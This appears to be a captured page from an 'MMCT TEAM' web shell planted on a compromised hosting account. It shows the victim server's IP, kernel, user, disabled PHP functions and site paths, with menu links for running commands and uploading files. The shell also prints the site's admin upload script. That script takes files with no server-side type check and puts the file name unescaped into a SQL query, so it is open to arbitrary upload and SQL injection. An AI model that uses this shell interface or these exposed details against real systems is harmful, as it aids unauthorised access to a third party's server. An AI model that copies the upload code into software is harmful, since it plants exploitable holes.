MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/admin/tenderfiles/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/admin/tenderfiles/../add_association.php
    <?php include('include/sidebar.php'); ?>
    <!-- Start Welcome area -->
    
       <?php include('include/header.php'); ?>

<?php 
      if (isset($_POST['submit'])) {
    // $title = $_POST['title'];
    // $uploadFolder = 'upload/';
    foreach ($_FILES['image']['tmp_name'] as $key => $image) {
        $imageTmpName = $_FILES['image']['tmp_name'][$key];
        $imageName = uniqid().$_FILES['image']['name'][$key];
        // $path = '$uploadFolder/$imageName'
        $path = 'uploads/'.$imageName;
        $result = move_uploaded_file($imageTmpName,$path);

        // save to database
        $query = "INSERT INTO association SET image='$path' " ;
        $run = $conn->query($query) or die("Error in saving image".$conn->error);
    }
    if ($result) {
       echo '<script>alert("Added successfully"); location.href="associations.php"</script>';
    }else{
        echo '<script>alert("Oops Something Went Wrong!");</script>';
    }
}

?>

<style>
    #myTabContent .input-group{
        width: 100%;
    }
</style>
       <div class="breadcome-area">
                <div class="container-fluid">
                    <div class="row">
                        <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
                            <div class="breadcome-list">
                                <div class="row">
                                    <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
                                        <div class="breadcomb-wp">
                                            <div class="breadcomb-icon">
                                                <i class="icon nalika-home"></i>
                                            </div>
                                            <div class="breadcomb-ctn">
                                                <h2>Add Association </h2>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
                                        <!-- <div class="breadcomb-report">
                                            <button data-toggle="tooltip" data-placement="left" title="Download Report" class="btn"><i class="icon nalika-download"></i></button>
                                        </div> -->
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
       <div class="single-product-tab-area mg-b-30">

            <!-- Single pro tab review Start-->

            <div class="single-pro-review-area">

                <div class="container-fluid">

                    <div class="row">

                        <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">

                            <div class="review-tab-pro-inner">
                                <form method="post" enctype="multipart/form-data">
                                <div id="myTabContent" class="tab-content custom-product-edit">

                                       <div class="row">

                                            <div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">

                                                        <div class="file-upload-inner ts-forms" style="margin-bottom:15px;">
                                                            <div class="input prepend-small-btn">
                                                                <div class="file-button">
                                                                    Browse
                                                                    <input type="file" name="image[]" accept="image/*" onchange="document.getElementById('prepend-small-btn').value = this.value;" multiple readonly>
                                                                </div>
                                                                <input type="text" id="prepend-small-btn"  placeholder="no file selected" readonly>
                                                            </div>
                                                        </div>
                                                        <!-- <div class="input-group mg-b-pro-edt">

                                                        <input type="text" class="form-control" name="title" name="title" placeholder="Title">

                                                    </div> -->

                                                </div>

                                            </div>

                                        </div>

                                        <div class="row">

                                            <div class="col-lg-6 col-md-6 col-sm-12 col-xs-12" style="padding-right: 30px;">

                                                <div class="text-center custom-pro-edt-ds">

                                                    <button type="submit" class="btn btn-ctl-bt waves-effect waves-light m-r-10" name="submit">Save

                                                        </button>

                                                    <a href="association.php" class="btn btn-ctl-bt waves-effect waves-light">cancel

                                                        </a>

                                                </div>

                                            </div>

                                        </div>
                                    </form>
                                    </div>

                                </div>

                            </div>

                        </div>

                    </div>

                </div>

            </div>
        <?php include('include/footer.php'); ?>

MMCT - 2023